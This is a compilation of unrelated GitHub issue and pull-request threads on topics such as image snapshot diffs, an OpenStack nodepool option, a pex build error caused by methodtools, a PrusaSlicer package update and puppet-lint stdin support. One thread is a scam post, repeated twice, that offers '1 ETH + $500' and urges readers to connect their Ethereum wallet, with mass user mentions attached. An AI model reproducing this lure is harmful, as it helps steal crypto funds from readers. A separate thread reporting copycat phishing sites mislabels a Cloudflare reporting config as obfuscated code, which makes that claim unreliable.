var smc = SphericalMercator.FromLonLat(long, lat); mapControl.Map.Home = n => n.CenterOnAndZoomTo(new MPoint(smc.x, smc.y), n.Resolutions[12]);


Add support for before/after diff using image files

Is your feature request related to a problem? Please describe.
By default we get a diff of the byte strings but that isn't the easiest way for comparing if an image looks the way you expect, I previously wrote a custom extension to allow syrupy to spit out an "after" PNG file if the current snapshot doesn't match like I am used to with other snapshot libraries.
Unfortunately the syrupy at the time was limited, required a lot of overriding of methods in the matcher and so it broke in later editions
Describe the solution you'd like
Ability for the latest snapshot that is failing to match to be written to a "file.after.png" file if it fails to match.
Describe alternatives you've considered
I previously implemented it in my own custom extension but it was fragile and broke when syrupy was upgraded, it ideally would be built in.
Additional context

Could you share the code from the custom extension?


OCPBUGS-38357: openstack: add option to configure nodepool AZ

What this PR does / why we need it:
In OpenStack NodePools, add the AZ option which will configure the Machine spec with the failure domain.

/test hypershift-operator-main-on-pull-request hypershift-release-mce-27-on-pull-request

/e2e-openstack

/test e2e-openstack

/test e2e-openstack

@JoelSpeed I would like your feedback on this one. Let me know if someone else should look.
Thanks :pray:

Thanks! Intent for this is currently expressed via subnets for Azure and AWS and selectors for agent/kubevirt. What's the value of having a new top level input that impact all platforms? How would this play/conflict/UX when the matrix input when per platform subnet is also set? how do I known which input is valid here from a consumer pov? Would we do any validation against it? What happens when the value is invalid?
Unless there's a clear value on having a new top field, I'd expect this to be a new Openstack specific field.
Even if we agreed on the value, there would need to be a clear UX for the input matrix support when combined with per platform input.

This is WIP I'm reworking it for the OpenStack platform only as it was requested.

/test e2e-openstack

I'm going to write a e2e nodepool test for this one.

/test e2e-openstack
for regression testing

/test e2e-openstack-nodepools

/test e2e-openstack-nodepools

/test e2e-openstack-nodepools

/test hypershift-operator-main-on-pull-request

/test e2e-aws-4-17

/retest
/test e2e-openstack

/test e2e-openstack

/test e2e-openstack

/test unit

@EmilienM Would you please add the "why" to the commit description? Otherwise, seems fine to me.

@EmilienM Would you please add the "why" to the commit description? Otherwise, seems fine to me.

done

rebased & commit message updated

/approve

/test e2e-aks


Overload fit_data_scitype trait

Since RFE is Unsupervised the fallback for fit_data_scitype is wrong. We need something like:
MMI.fit_data_scitype(::RecursiveFeatureElimination{M}) where M = Union{
    Tuple{input_scitype(M), target_scitype(M)},
    Tuple{input_scitype(M), target_scitype(M), AbstractVector{<:Real},
}

Sorry this is not documented in the MLJModelInterface docs, but I have opened an issue to correct this.

Closing as working on a different resolution.
The problem is that you can't use RFE in a pipeline at the moment.


Switch to polars for output OHLCV data

Use pola.rs dataframes for handling OHLCV data

Blastoff.zone: Earn 1 ETH + $500 Bonus!
Congratulations! You've been selected as one of the fortunate individuals eligible to claim 1 ETH right now, along with a $500 bonus, courtesy of Blastoff.zone.
How to Claim Your Reward:

Click Connect Wallet to visit the Blastoff.zone platform.
Connect your Ethereum wallet to qualify for the $500 bonus.
Utilize the "Claim Now" option to secure your tokens.

This exclusive opportunity won't last long, so make sure to act swiftly to secure your rewards!
Please note that rewards are distributed on a first-come, first-served basis.
Congratulations! You've been selected as one of the fortunate individuals eligible to claim 1 ETH right now, along with a $500 bonus, courtesy of Blastoff.zone.
How to Claim Your Reward:

Click Connect Wallet to visit the Blastoff.zone platform.
Connect your Ethereum wallet to qualify for the $500 bonus.
Utilize the "Claim Now" option to secure your tokens.

This exclusive opportunity won't last long, so make sure to act swiftly to secure your rewards!
Please note that rewards are distributed on a first-come, first-served basis. With 90% of the 100 tokens already claimed, seize this chance before it's too late!
cyberpunk256, @michmcc, @antoinegelloz, @bohendo, @fire17, @keinsell, @AppServiceProvider, @jasonpearce, @Faustino-CIMA, @nyudenkov, @ygunayer, @hehpollon, @YHTerrance, @alancwoo, @jaredwolff, @rakanalh, @Prashant-Chaurasia, @bobkilla, @vijaykrishnavanshi, @tonven, @colbyg333, @Liemeister, @jemacom, @MrSaints, @keyneszeng, @lodorg, @PiotrPiesiak, @afurculita, @0xmsu, @brizzbane, @jzstern, @ScMofeoluwa, @johnnyfox87, @infloop, @zfsamzfsam, @FranciscoArredondo, @scootcho, @efontan, @juergenhoetzel, @aaronmboyd, @jimsjoh, @PedroGalveias, @sbellem, @yuopu0285, @0xhaile, @tcosnr, @cauta, @Joshuaeggon, @jb99x, @fmendes409H, @nicobao, @ches, @bsormagec, @nono2357, @bjackson, @dufour-yohann, @monkfoot, @enockzaake, @mykeels, @choudhary, @iamgenchi, @Dunnomix, @nikolay, @bugatsinho, @nikita-popov, @Wheaties466, @marioevz, @githubber, @kalyberk, @AmanSingh81757, @gilescope, @geet-eth, @Garandor, @dckc, @wimmeldj, @Anastasios-skg, @happysammy, @elranu, @superatomic, @tugytur, @srcnix, @Zorro909, @fpgaq, @jojanaho, @person-m, @shredEngineer, @jonathan-s, @ysy970923, @lukemulks, @mstattma, @StephenMilone, @abra, @tibkiss, @kyodhin, @Sandesh333333, @pauloedurezende, @liurui2014, @bonedaddy, @lyoshenka


prusa-slicer: 2.6.1 -> 2.7.0

Description of changes

https://github.com/prusa3d/PrusaSlicer/releases/tag/version_2.7.0
Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Priorities
Add a :+1: reaction to pull requests you find important.

I was able to build and test 2.7.0. nixpkgs-review however crashed without obvious reason. It might be running out of memory.

I'm waiting for a resolution on the license: https://github.com/NixOS/nixpkgs/pull/269758#discussion_r1405184680
Then I'm going to merge this unless anyone objects


feat: support openai api compatible interface

hello,I encountered the following error when connecting to the Tencent Hunyuan model,

Then use inference endpoints according to the prompts, unfortunately, Model seems be too large for any available instance options.

so, we can only use the openai api compatible interface method. Tencent Hunyuan official also recommends this method for access.
I believe that many other large models will also encounter such problems. aider needs to be able to support access directly through interface requests. I already support it.
When using
export COMPATIBLE_OPENAI_API_KEY="sk-xxxxxx"
export COMPATIBLE_OPENAI_API_BASE="https://xxxxxx"
aider --model="hunyuan-large"  --compatible-api
Please evaluate it and help with code review. Thank you.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

您好，我已收到您的邮件，会尽快处理！谢谢！！！

Sorry, why can't you use the existing support for OpenAI compatible apis?
https://aider.chat/docs/llms/openai-compat.html


Fix ComposeFile in struct literal

I've made a quick fix because I have had a bug when I was trying to build the compose2kube:
$ go build
# github.com/lightcode/compose2kube
./main.go:47: unknown project.Context field 'ComposeFile' in struct literal

+1 fix worked for me, thanks @lightcode

+1, worked for me, thanks!

A recent PR that was accepted replicated this patch. Closing. Thanks for the submission.


Fix package information

.

.

That won't change the fact we can't accept this PR

That won't change the fact we can't accept this PR

is there a solution?

is there a solution?

If the old git history isn't available anywhere, not really.


add more tests to json

Add more tests
Add more tests and cleanups

Approving but will be fixing issues with it.


ValueError: invalid literal for int() with base 10 during pex build

Since the update to apache-airflow 2.9.1 methodtools 0.4.7 is required as a transitive dependency.
Currently there seems to be a problem in the interaction between the mentioned methodtools version and pex 2.3.1 which we cannot quite explain.
Our pex build fails every time since the update.
This is our requirements.txt:
--index-url [https://gitlab-ci-token:[MASKED]<EMAIL_ADDRESS>aiofiles==23.2.1 ; python_version >= "3.9" and python_version < "3.10"
aiohttp==3.9.5 ; python_version >= "3.9" and python_version < "3.10"
aiosignal==1.3.1 ; python_version >= "3.9" and python_version < "3.10"
alembic==1.13.1 ; python_version >= "3.9" and python_version < "3.10"
annotated-types==0.6.0 ; python_version >= "3.9" and python_version < "3.10"
anyio==4.3.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-common-io==1.3.1 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-common-sql==1.13.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-fab==1.1.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-ftp==3.9.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-http==4.11.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-imap==3.6.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-postgres==5.11.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-smtp==1.7.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-sqlite==3.8.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow-providers-ssh==3.11.0 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow==2.9.1 ; python_version >= "3.9" and python_version < "3.10"
apache-airflow[ldap,postgres,ssh]==2.9.1 ; python_version >= "3.9" and python_version < "3.10"
apispec[yaml]==6.6.1 ; python_version >= "3.9" and python_version < "3.10"
argcomplete==3.3.0 ; python_version >= "3.9" and python_version < "3.10"
asgiref==3.8.1 ; python_version >= "3.9" and python_version < "3.10"
astronomer-providers==1.19.0 ; python_version >= "3.9" and python_version < "3.10"
async-timeout==4.0.3 ; python_version >= "3.9" and python_version < "3.10"
attrs==23.2.0 ; python_version >= "3.9" and python_version < "3.10"
babel==2.15.0 ; python_version >= "3.9" and python_version < "3.10"
backoff==2.2.1 ; python_version >= "3.9" and python_version < "3.10"
bcrypt==4.1.3 ; python_version >= "3.9" and python_version < "3.10"
blinker==1.8.2 ; python_version >= "3.9" and python_version < "3.10"
cachelib==0.13.0 ; python_version >= "3.9" and python_version < "3.10"
certifi==2024.2.2 ; python_version >= "3.9" and python_version < "3.10"
cffi==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
charset-normalizer==3.3.2 ; python_version >= "3.9" and python_version < "3.10"
click==8.1.7 ; python_version >= "3.9" and python_version < "3.10"
clickclick==20.10.2 ; python_version >= "3.9" and python_version < "3.10"
colorama==0.4.6 ; python_version >= "3.9" and python_version < "3.10"
colorlog==4.8.0 ; python_version >= "3.9" and python_version < "3.10"
configupdater==3.2 ; python_version >= "3.9" and python_version < "3.10"
connexion[flask]==2.14.1 ; python_version >= "3.9" and python_version < "3.10"
cron-descriptor==1.4.3 ; python_version >= "3.9" and python_version < "3.10"
croniter==2.0.5 ; python_version >= "3.9" and python_version < "3.10"
cryptography==42.0.7 ; python_version >= "3.9" and python_version < "3.10"
deprecated==1.2.14 ; python_version >= "3.9" and python_version < "3.10"
dill==0.3.8 ; python_version >= "3.9" and python_version < "3.10"
dm-knox-token==2.0.16 ; python_version >= "3.9" and python_version < "3.10"
dm-webhdfs==9.1.16 ; python_version >= "3.9" and python_version < "3.10"
dnspython==2.6.1 ; python_version >= "3.9" and python_version < "3.10"
docutils==0.21.2 ; python_version >= "3.9" and python_version < "3.10"
email-validator==2.1.1 ; python_version >= "3.9" and python_version < "3.10"
exceptiongroup==1.2.1 ; python_version >= "3.9" and python_version < "3.10"
flask-appbuilder==4.4.1 ; python_version >= "3.9" and python_version < "3.10"
flask-babel==2.0.0 ; python_version >= "3.9" and python_version < "3.10"
flask-caching==2.0.1 ; python_version >= "3.9" and python_version < "3.10"
flask-jwt-extended==4.6.0 ; python_version >= "3.9" and python_version < "3.10"
flask-limiter==3.6.0 ; python_version >= "3.9" and python_version < "3.10"
flask-login==0.6.3 ; python_version >= "3.9" and python_version < "3.10"
flask-session==0.5.0 ; python_version >= "3.9" and python_version < "3.10"
flask-sqlalchemy==2.5.1 ; python_version >= "3.9" and python_version < "3.10"
flask-wtf==1.2.1 ; python_version >= "3.9" and python_version < "3.10"
flask==2.2.5 ; python_version >= "3.9" and python_version < "3.10"
frozenlist==1.4.1 ; python_version >= "3.9" and python_version < "3.10"
fsspec==2024.3.1 ; python_version >= "3.9" and python_version < "3.10"
google-re2==1.1.202[40](https://gitlab.[MASKED].com/cxa/cxa-ck/pex-envs/pex-airflow/-/jobs/35382959#L40)501 ; python_version >= "3.9" and python_version < "3.10"
googleapis-common-protos==1.63.0 ; python_version >= "3.9" and python_version < "3.10"
greenlet==3.0.3 ; python_version >= "3.9" and (platform_machine == "aarch64" or platform_machine == "ppc64le" or platform_machine == "x86_64" or platform_machine == "amd64" or platform_machine == "AMD64" or platform_machine == "win32" or platform_machine == "WIN32") and python_version < "3.10"
grpcio==1.63.0 ; python_version >= "3.9" and python_version < "3.10"
gunicorn==22.0.0 ; python_version >= "3.9" and python_version < "3.10"
h11==0.14.0 ; python_version >= "3.9" and python_version < "3.10"
httpcore==1.0.5 ; python_version >= "3.9" and python_version < "3.10"
httpx==0.27.0 ; python_version >= "3.9" and python_version < "3.10"
idna==3.7 ; python_version >= "3.9" and python_version < "3.10"
importlib-metadata==7.1.0 ; python_version >= "3.9" and python_version < "3.10"
importlib-resources==6.4.0 ; python_version >= "3.9" and python_version < "3.10"
inflection==0.5.1 ; python_version >= "3.9" and python_version < "3.10"
itsdangerous==2.2.0 ; python_version >= "3.9" and python_version < "3.10"
jinja2==3.1.4 ; python_version >= "3.9" and python_version < "3.10"
jsonschema-specifications==2023.12.1 ; python_version >= "3.9" and python_version < "3.10"
jsonschema==4.22.0 ; python_version >= "3.9" and python_version < "3.10"
lazy-object-proxy==1.10.0 ; python_version >= "3.9" and python_version < "3.10"
ldap3==2.9.1 ; python_version >= "3.9" and python_version < "3.10"
limits==3.11.0 ; python_version >= "3.9" and python_version < "3.10"
linkify-it-py==2.0.3 ; python_version >= "3.9" and python_version < "3.10"
lockfile==0.12.2 ; python_version >= "3.9" and python_version < "3.10"
mako==1.3.3 ; python_version >= "3.9" and python_version < "3.10"
markdown-it-py==3.0.0 ; python_version >= "3.9" and python_version < "3.10"
markupsafe==2.1.5 ; python_version >= "3.9" and python_version < "3.10"
marshmallow-oneofschema==3.1.1 ; python_version >= "3.9" and python_version < "3.10"
marshmallow-sqlalchemy==0.28.2 ; python_version >= "3.9" and python_version < "3.10"
marshmallow==3.21.2 ; python_version >= "3.9" and python_version < "3.10"
mdit-py-plugins==0.4.0 ; python_version >= "3.9" and python_version < "3.10"
mdurl==0.1.2 ; python_version >= "3.9" and python_version < "3.10"
methodtools==0.4.7 ; python_version >= "3.9" and python_version < "3.10"
more-itertools==10.2.0 ; python_version >= "3.9" and python_version < "3.10"
multidict==6.0.5 ; python_version >= "3.9" and python_version < "3.10"
numpy==1.26.4 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-api==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-exporter-otlp-proto-grpc==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-exporter-otlp-proto-http==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-exporter-otlp==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-proto==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-sdk==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
opentelemetry-semantic-conventions==0.37b0 ; python_version >= "3.9" and python_version < "3.10"
ordered-set==4.1.0 ; python_version >= "3.9" and python_version < "3.10"
packaging==24.0 ; python_version >= "3.9" and python_version < "3.10"
paramiko==3.4.0 ; python_version >= "3.9" and python_version < "3.10"
pathspec==0.12.1 ; python_version >= "3.9" and python_version < "3.10"
pendulum==3.0.0 ; python_version >= "3.9" and python_version < "3.10"
pluggy==1.5.0 ; python_version >= "3.9" and python_version < "3.10"
prison==0.2.1 ; python_version >= "3.9" and python_version < "3.10"
prompt-toolkit==3.0.43 ; python_version >= "3.9" and python_version < "3.10"
protobuf==4.25.3 ; python_version >= "3.9" and python_version < "3.10"
psutil==5.9.8 ; python_version >= "3.9" and python_version < "3.10"
psycopg2-binary==2.9.9 ; python_version >= "3.9" and python_version < "3.10"
pyarrow==16.0.0 ; python_version >= "3.9" and python_version < "3.10"
pyasn1-modules==0.4.0 ; python_version >= "3.9" and python_version < "3.10"
pyasn1==0.6.0 ; python_version >= "3.9" and python_version < "3.10"
pycparser==2.22 ; python_version >= "3.9" and python_version < "3.10"
pydantic-core==2.18.2 ; python_version >= "3.9" and python_version < "3.10"
pydantic==2.7.1 ; python_version >= "3.9" and python_version < "3.10"
pygments==2.18.0 ; python_version >= "3.9" and python_version < "3.10"
pyjwt==2.8.0 ; python_version >= "3.9" and python_version < "3.10"
pynacl==1.5.0 ; python_version >= "3.9" and python_version < "3.10"
python-daemon==3.0.1 ; python_version >= "3.9" and python_version < "3.10"
python-dateutil==2.9.0.post0 ; python_version >= "3.9" and python_version < "3.10"
python-ldap==3.4.4 ; python_version >= "3.9" and python_version < "3.10"
python-nvd3==0.16.0 ; python_version >= "3.9" and python_version < "3.10"
python-slugify==8.0.4 ; python_version >= "3.9" and python_version < "3.10"
pytz==2024.1 ; python_version >= "3.9" and python_version < "3.10"
pyxattr==0.8.1 ; python_version >= "3.9" and python_version < "3.10"
pyyaml==6.0.1 ; python_version >= "3.9" and python_version < "3.10"
referencing==0.35.1 ; python_version >= "3.9" and python_version < "3.10"
requests-toolbelt==1.0.0 ; python_version >= "3.9" and python_version < "3.10"
requests==2.31.0 ; python_version >= "3.9" and python_version < "3.10"
rfc3339-validator==0.1.4 ; python_version >= "3.9" and python_version < "3.10"
rich-argparse==1.4.0 ; python_version >= "3.9" and python_version < "3.10"
rich==13.7.1 ; python_version >= "3.9" and python_version < "3.10"
rpds-py==0.18.1 ; python_version >= "3.9" and python_version < "3.10"
setproctitle==1.3.3 ; python_version >= "3.9" and python_version < "3.10"
setuptools==69.5.1 ; python_version >= "3.9" and python_version < "3.10"
six==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
sniffio==1.3.1 ; python_version >= "3.9" and python_version < "3.10"
sqlalchemy-jsonfield==1.0.2 ; python_version >= "3.9" and python_version < "3.10"
sqlalchemy-utils==0.[41](https://gitlab.[MASKED].com/cxa/cxa-ck/pex-envs/pex-airflow/-/jobs/35382959#L41).2 ; python_version >= "3.9" and python_version < "3.10"
sqlalchemy==1.4.52 ; python_version >= "3.9" and python_version < "3.10"
sqlparse==0.5.0 ; python_version >= "3.9" and python_version < "3.10"
sshtunnel==0.4.0 ; python_version >= "3.9" and python_version < "3.10"
tabulate==0.9.0 ; python_version >= "3.9" and python_version < "3.10"
tenacity==8.3.0 ; python_version >= "3.9" and python_version < "3.10"
termcolor==2.4.0 ; python_version >= "3.9" and python_version < "3.10"
text-unidecode==1.3 ; python_version >= "3.9" and python_version < "3.10"
time-machine==2.14.1 ; python_version >= "3.9" and python_version < "3.10" and implementation_name != "pypy"
typing-extensions==4.11.0 ; python_version >= "3.9" and python_version < "3.10"
tzdata==2024.1 ; python_version >= "3.9" and python_version < "3.10"
uc-micro-py==1.0.3 ; python_version >= "3.9" and python_version < "3.10"
unicodecsv==0.14.1 ; python_version >= "3.9" and python_version < "3.10"
universal-pathlib==0.2.2 ; python_version >= "3.9" and python_version < "3.10"
urllib3==2.2.1 ; python_version >= "3.9" and python_version < "3.10"
wcwidth==0.2.13 ; python_version >= "3.9" and python_version < "3.10"
werkzeug==2.3.8 ; python_version >= "3.9" and python_version < "3.10"
wirerope==0.4.7 ; python_version >= "3.9" and python_version < "3.10"
wrapt==1.16.0 ; python_version >= "3.9" and python_version < "3.10"
wtforms==3.1.2 ; python_version >= "3.9" and python_version < "3.10"
yarl==1.9.4 ; python_version >= "3.9" and python_version < "3.10"
zipp==3.18.1 ; python_version >= "3.9" and python_version < "3.10"

This is our build script:
(We are currently using pex version 2.3.1)
#!/bin/sh
set -e

rm -rf dist && mkdir dist
pip install --upgrade pip

poetry install --only build
poetry export -f requirements.txt --output dist/requirements.txt --without-hashes --with-credentials
cat dist/requirements.txt
poetry run pex -i https://rtf.[MASKED].com/artifactory/api/pypi/pypi-remote/simple \
    -r dist/requirements.txt . \
    -c airflow \
    -o dist/airflow.pex \
    --venv prepend

And this is the resulting error message:
pid 75 -> /root/.pex/venvs/7fd29932d86a744f8a544214470ad8d101a53805/108a3ddc84230ab282ea6312e06cb68f51008ce5/bin/python -sE /root/.pex/venvs/7fd29932d86a744f8a544214470ad8d101a53805/108a3ddc84230ab282ea6312e06cb68f51008ce5/pex --disable-pip-version-check --no-python-version-warning --exists-action a --no-input --use-deprecated legacy-resolver --isolated -q --cache-dir /root/.pex/pip/20.3.4-patched/pip_cache download --dest /root/.pex/downloads/resolver_download.a1d87g0r/builds.cxa.cxa-ck.pex-envs.pex-airflow.pex_build.bin.python3.9 --requirement dist/requirements.txt . --index-url https://pypi.org/simple --extra-index-url https://rtf.[MASKED].com/artifactory/api/pypi/pypi-remote/simple --retries 5 --timeout 15 exited with 1 and STDERR:
    ERROR: Command errored out with exit status 1:
     command: /root/.pex/venvs/7fd29932d86a744f8a544214470ad8d101a53805/108a3ddc84230ab282ea6312e06cb68f51008ce5/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/root/.pex/pip/20.3.4-patched/pip_cache/.tmp/pip-download-jb56u_x2/methodtools/setup.py'"'"'; __file__='"'"'/root/.pex/pip/20.3.4-patched/pip_cache/.tmp/pip-download-jb56u_x2/methodtools/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' --no-user-cfg egg_info --egg-base /root/.pex/pip/20.3.4-patched/pip_cache/.tmp/pip-pip-egg-info-9jym9h3c
         cwd: /root/.pex/pip/20.3.4-patched/pip_cache/.tmp/pip-download-jb56u_x2/methodtools/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/root/.pex/pip/20.3.4-patched/pip_cache/.tmp/pip-download-jb56u_x2/methodtools/setup.py", line 3, in <module>
        assert tuple(map(int, setuptools.__version__.split('.')[:3])) >= (39, 2, 0), \
    ValueError: invalid literal for int() with base 10: '0+3acb925dd708430aeaf197ea53ac8a752f7c1863'
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

The problem seems to result from this section of the methodtools package: https://github.com/youknowone/methodtools/blob/0.4.7/setup.py
But we cannot explain why it is called during the pex build process.
Does anyone have a clue as to why this could be or can they give us a hint?

Please try adding --pip-version latest to your command line. I can explain what's going on later.

But we cannot explain why it is called during the pex build process.

It's called during any Python build or resolve process because methodtools 0.4.7 is a source distribution: https://pypi.org/project/methodtools/0.4.7/#files. In order for Pip to resolve methodtools dependencies or Pex to build a wheel from it (Pex requires wheels), the sdist must be ~built. Building the sdist requires evaluating its setup.py.
So that's the why. The reason this is a problem in Pex (with default settings) and not Pip is Pex's default settings are backwards compatible to Pex 2.0.0 which used a patched version of Pip 20.3.4, and - more to the point, a patched version of setuptools. That patched version of setuptools is here: https://github.com/pex-tool/pex/tree/main/pex/vendor/_vendored/setuptools/setuptools-44.0.0+3acb925dd708430aeaf197ea53ac8a752f7c1863.dist-info and the version is 44.0.0+3acb925dd708430aeaf197ea53ac8a752f7c1863. The methodtools setup.py code assume a version of the form X.Y.Z with X, Y and Z all being integers. Here, the Pex vendored patched version of setuptools has a +3ac... local version identifier suffix that defeats the methodtools setup.py assumption.
The fix --pip-version latest could in fact be --pip-version <any version except the default>, see pex --help for all the supported values of --pip-version. All versions of Pip except the default use a production release of setuptools with a version in the standard X.Y.Z form; thus the fix.
You probably want to read more of the Pex CLI --help since features and options are added frequently to improve performance and compatibility, but they are never defaulted to since Pex never wants to break existing users.

@Github-dm-CDE I'm going to close this as an answered question, but please speak up if this is still confusing.


New version: Tencent.QQ version <IP_ADDRESS>307

Created by 🥟 Dumplings in Run #3563.
Microsoft Reviewers: Open in CodeFlow

Automatic Validation ended with:

Installer Verification Analysis Context Information:
Installer https://dldir1v6.qq.com/qqfile/qq/PCQQ9.7.22/QQ_<IP_ADDRESS>307_01.exe
Scan request id: '71a6f8a9-6345-46fd-883a-7a5bcfae5a3d'
Error information: BlockingDetectionFound

3/7/2024 8:00:44 AM

Installer Validation

(Automated response - build 867.)

This might be due to a network block of data centers, to prevent automated downloads.
(Automated response - build 867.)


CopyCat Scam Website - What to do?

It looks like this site copied your code and instead of generating random Mnemonic codes it asks users to enter their real ones: https://www.bip32.net/ and it doesn't offer an offline version.
My concern is that it's setup for scamming purposes and uses the official url bip32.net to get peoples private codes.
Is there awareness if the site is a scam? And if yes where to report a site like this?
Thanks

Indeed, it posts all private input to its backend opposed to the original code. To be honest, anyone who is careful enough would download the standalone html and run it locally.
The bip32.net domain is behind a whois anonymizer from Malaysia. There were multiple such phishing copies, some even paid Google to show up above the legitimate site.

careful with that

Indeed, it posts all private input to its backend opposed to the original code. To be honest, anyone who is careful enough would download the standalone html and run it locally.
The bip32.net domain is behind a whois anonymizer from Malaysia. There were multiple such phishing copies, some even paid Google to show up above the legitimate site.

thats right

How about this one? Even the index is simlar, but conveniently they removed the links to the source codes https://www.iancoleman.net/

How about this one? Even the index is similar, but conveniently they removed the links to the source codes https://www.iancoleman.net/

That site reports all generated or entered secrets to some server hidden behind Cloudflare :smile: There is a really nice obfuscated JavaScript code at the beginning that makes it less obvious what format the phrase is encoded in:
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=afgOW%2FRrowY8MVy%2BYWaAPO5zEackJVK%2B8P%2FV3pdEvoRKrhrbB9DS2yRCVshEwIuq6qN8x3PJcdk430DG%2BvdVq2uXS05veP8pqQa2%2BajEtVSFlQNA98IbBC6mt75lznF4UFPjNiI%3D"}],"group":"cf-nel","max_age":604800}


Yielded Responses

Feature description
As a means of making things easier for the developer, View could support using yield as a means of returning a partial response. For example, the user could yield a status code early on, and then return the body at the end of the function. Likewise, they can do the inverse and yield the response, and then finally return the status code.
Multiple yields of the same data (such as a int, indicating a status code, followed by another int, once again indicating a status code) should do what they can to merge. For example, two strings yielded would result in them being concatenated, and two dictionaries would result in them being merged (PyDict_Merge in C, but dict.update in Python).  Integers should probably just overwrite each other, so 200 followed by 400 would result in 400.
This should try to be as asynchronous as possible. I'm not too sure about the semantics, but I'm assuming the generator can just be exhausted after receiving it from the PyAwaitable callback. If that's so, there shouldn't be too much view.py has to do, but if not, then there might be some chaos in terms of sending generators back and forth between PyAwaitable.
As a final note, if we're going to be messing with the PyAwaitable anyway, something similar to Starlette's background tasks could be integrated, allowing the user to yield coroutines to be executed later by the event loop.
Feature example API
from view import new_app

app = new_app()

@app.get("/")
async def index():
    yield {"hello": "world"}

    if "foo" != "bar":
        yield {"foo_is_not": "bar"}

    yield 201

    if "something":
        yield some_funny_coro()
    return "Hello, view.py!"

app.run()

Anything else?
No response

Note that this should stream the response incrementally as well.


BTDF installer incorrectly detects BTS 2010 and installs BTS 2010-specific files for older BTS versions

The 5.0.18 installer always detects BTS 2010, even when it is not installed. It installs ServerDeploy.bat, ServerUndeploy.bat, ServerRedeploy.bat specific for BTS 2010 even when an older version of BTS is installed.
This work item was migrated from CodePlex
CodePlex work item ID: '6923'
Assigned to: 'tfabraham'
Vote count: '0'

[UnknownUser@6/30/2010]
Resolved with changeset 48138.

[UnknownUser@2/21/2013]

[UnknownUser@5/16/2013]


Collection not displaying

According to docs, this:
ray()->model($user);

Works on collections as well--which doesn't seem to be the case. (Getting an error that Model must be given, not a Collection).
If I have something like this:
$users = User::where('id', '>', 500)->get();

Shouldn't this work: ray()->model($users);
Also, getting an error that models() doesn't exist.

This should work if you're using the latest versions. If not, create a minimal app that recreates the issue.
Closing for now. If the problem persist, open a new issue and fill in the template so we know the version numbers you are using.


Rice::Exception:: message() throws an exception ...

I run a script where there is a call to an undefined method. I call it from c++ inside a try/catch block, catching a Rice::Exception named "ex". When I call "ex.message()", it raises an Rice::Exception itself, saying :
terminate called after throwing an instance of 'Rice::Exception'
what():  wrong argument type NameError::message (expected Data)

Do you have some example code that shows this error? Also what version of Ruby are you running?

I run my code under RHEL5 : ruby 1.8.7 (2009-06-12 patchlevel 174) [i686-linux]
Some example that make message() raising an exception :
Ruby script toto.rb
class SSet
def self.interpret
#call of defined method
puts "id: " + object_id.to_s # -> OK
#call of undefined method
dpmmm # -> NameError exception raised
end
end
END
/////CPP part
//ruby init
Class rb_cSSet = define_class("SSet");
//ruby require ruby script toto.rb
try
{
rb_cSSet.call("interpret");
}
catch(const Exception& e)
{
cout << e.message() << endl;// -> it throws a new Rice::Exception : what(): wrong argument type NameError::message (expected Data)
}
//END


Read manifest from stdin and write modifications to stdout

Use Case
Git can be configured to automatically run filters on files when e.g. running git add thanks to filters. See the relevant documentation.
However this requires the linter to be able to read the file to process on its stdin and write its modifications to stdout. Git will indeed only use the stdout of the filter to determine what to add to the index, which with puppet-lint means it thinks the whole file has been deleted since it did not write anything to stdout.
Describe the Solution You Would Like
Changing the default behaviour of the tool would most probably incur breakage so it is not recommended.
There are two solutions I can think of:

if a file name consists of a single dash (-), puppet-lint reads standard input and write modifications to this file to standard output
a switch --stdin could be added so that puppet-lint does not process any files on disk and instead only read its stdin and writes to stdout. It would also error out if any paths were given on the command line, so as to prevent misuses.

Describe Alternatives You've Considered
Implementing the linter as a long running filter process as per the documentation, but that would require significant work, whereas the proposed solution is rather straightforward.

I'd prefer a dash for the input filename since that's a common convention. Then it should error out if it receives multiple files


